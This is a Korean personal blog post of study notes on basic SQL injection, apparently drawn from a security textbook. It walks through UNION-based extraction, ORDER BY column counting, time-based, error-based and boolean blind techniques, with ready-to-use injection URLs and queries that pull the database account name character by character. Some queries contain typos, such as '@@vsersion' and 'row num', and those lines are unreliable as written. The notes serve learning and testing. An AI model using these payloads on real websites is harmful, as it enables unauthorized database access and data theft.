IMLENA

SQL Injection 기초 - 일반적인 SQL 인젝션 공격 본문

WEB

SQL Injection 기초 - 일반적인 SQL 인젝션 공격

IM레나2 2021. 9. 3. 16:48

2021.09.02 - [WEB] - SQL Injection 기초 - DB Error 기준

2021.09.03 - [WEB] - SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등

 

- DBMS 별 버전 출력

DBMS QUERY
MSSQL


MySQL


ORACLE
SELECT @@vsersion

SELECT version()
SELECT @@version

SELECT banner from v$version
SELECT banner from v$version where row num=1

 

- UNION 구문이용 데이터 추출

UNION 두개의 쿼리를 결과를 합치는데 사용하며, 두 개의 쿼리는 정확히 같은 수의 컬럼을 출력해야한다.

두개의 SELECT 구문의 해당 열의 데이터는 반드시 같은 형이어야 한다.

 

EX)

Select column1, column2 from table1 where id=10 union select column1,column2 from table2;

에서 우리는 table2의 컬럼 형식을 모르기 때문에 null 값으로 대체한다.

 

select column1, column2 from table1 where id=10 UNION select null,null... from table2

select column1, column2 from table1 where id=10 UNION select null,null... --

select column1, column2 from table1 where id=10 UNION select null,null... from dual

dual 이란 모든 사용자가 접근 가능한 테이블, ORACLE에서 from이 꼭 필요하기 때문에 사용

 

컬럼의 개수를 파악하기 위한 다른 방법 - Order by

select column1, column2 from table 1 where id=10 order by 1 (2,3,4,5....)ㄴ

에러를 출력하지 않는다면, 해당 값이 컬럼의 수 이거나 그것보다 많다고 판단

 

 

컬럼의 수를 확인 하고 나서는 컬럼 위치 어디에서 데이터가 출력되는 지 확인 해야한다.

select column1, column2 from table1 where id=10 UNION select null,null... from dual 에서

select column1, column2 from table1 where id=10 UNION select 'test',null... from dual

select column1, column2 from table1 where id=10 UNION select null,'test'... from dual

 

위와 같이 문자열/숫자열 넣어보면서 출력되는 위치를 찾는다.

 

select null, system_user + ' | ' + db_name, null,null -> 2번째 컬럼이 출력되는 곳에 합쳐서 두개의 결과가 나타남

 

- 시간기반

EX)

http://test.com/shop.php?id=2;if+(system_user='sa')+WAITFOR+DELAY+'0:0:5'-- 

system_user는 현재 로그인해 있는 계정을 출력하는 T-SQL(Transact-SQL)함수이다.

system_user의 값에 따라 HTML에 출력되는 시간이 다르다.

 

EX 2)

select decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objectsmall_objects),0)

 

- 에러기반

is_srvrolemember('그룹이름') - 사용자가 특정그룹에 속해 있으면 1, 아니면 0, 특정그룹이 존재하지 않으면 null 값을 반환하는 함수

case 구문

select * from item where idx=1/ (case when (system_user='sa') then 1 else 0 end);

 

- Content 기반

select * from item where idx=1 +(case when (system_user='sa') then 1 else 0 end);

system_user가 sa면 idx=2에 해당하는 데이터를 sa가 아니면 idx=1에 해당하는 데이터를 불러온다.

오류가 발생하지 않기 때문에 유용한 방법이다.

 

http://example.com/shop.php?color='white';
select * from products where color='white' - 기본 구문
select * from products where color='whjte' - 에러 or 빈값 반환할 수 있는 구문

select * from products where color='wh'+'jte'  - 연결자 이용
select * from products where color='wh'+char(106)+'te';  -- char(106) 이용

select * from products where color='wh'+char(105+(case when (system_user='sa') then 1 else 0)+'te';

system_user가 sa이면 char(106)인 j가 아니면, char(105)인 i를 출력할 것이다.

* char(97) 이 a가 아니라 0x61 이런식으로 출력이 된다.

이런경우에 cast(char(97) as char); 를 사용하면 정상적으로 97에 해당하는 a를 출력한다.

 

 

- 확장

-- 사용자 계정의 길이 확인

select len(system_user)

만약 사용자의 계정이 root_user라면

http://example.com/list.php?id=3/ (case when (len(system_user) >8) then 1 else 0 end)

에러를 출력하지 않음

http://example.com/list.php?id=3/ (case when (len(system_user) >9) then 1 else 0 end)

http://example.com/list.php?id=3/ (case when (len(system_user) >10) then 1 else 0 end)

에러를 출력 따라서 system_user의 길이가 9라는 것을 알 수 있다.

 

mysql 에서 case 구문 실행시 system_user를 user()로 변경함

mysql> select char(105 + (case when ('a'='a') then 1 else 0 end));
+----------------------------------------------------------------------------------------------------------+
| char(105 + (case when ('a'='a') then 1 else 0 end))                                                      |
+----------------------------------------------------------------------------------------------------------+
| 0x6A                                                                                                     |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select char(105 + (case when (user()='root') then 1 else 0 end));
+----------------------------------------------------------------------------------------------------------------------+
| char(105 + (case when (user()='root') then 1 else 0 end))                                                            |
+----------------------------------------------------------------------------------------------------------------------+
| 0x69                                                                                                                 |
+----------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

 

계정이름의 길이를 확인 하였으니 다음은 계정명을 추출하는 단계이다.

http://example.com/list.php?id=3/ (case when (ascii(substring(select system_user),1,1)) > 64 then 1 else 0 end) 

mysql> select cast(char(ascii(substr(user(),1,1))) as char)='r' ;
+---------------------------------------------------+
| cast(char(ascii(substr(user(),1,1))) as char)='r' |
+---------------------------------------------------+
|                                                 1 |
+---------------------------------------------------+
1 row in set (0.00 sec)

mysql> select cast(char(ascii(substr(user(),1,1))) as char)='o' ;
+---------------------------------------------------+
| cast(char(ascii(substr(user(),1,1))) as char)='o' |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

mysql 에서 예씨 ascii 값을 비교해도 되고 char로 문자형으로 바꾼뒤 a부터 ~ z까지 대입할 수 도 있다.

실제 블라인드 테스트 진행시에는 비트연산을 활용하는 것이 빠르고 간편한 방법이다.

 

 

 

출처: 철통보안,SQL Injection 공격과 방어의 원리

Comments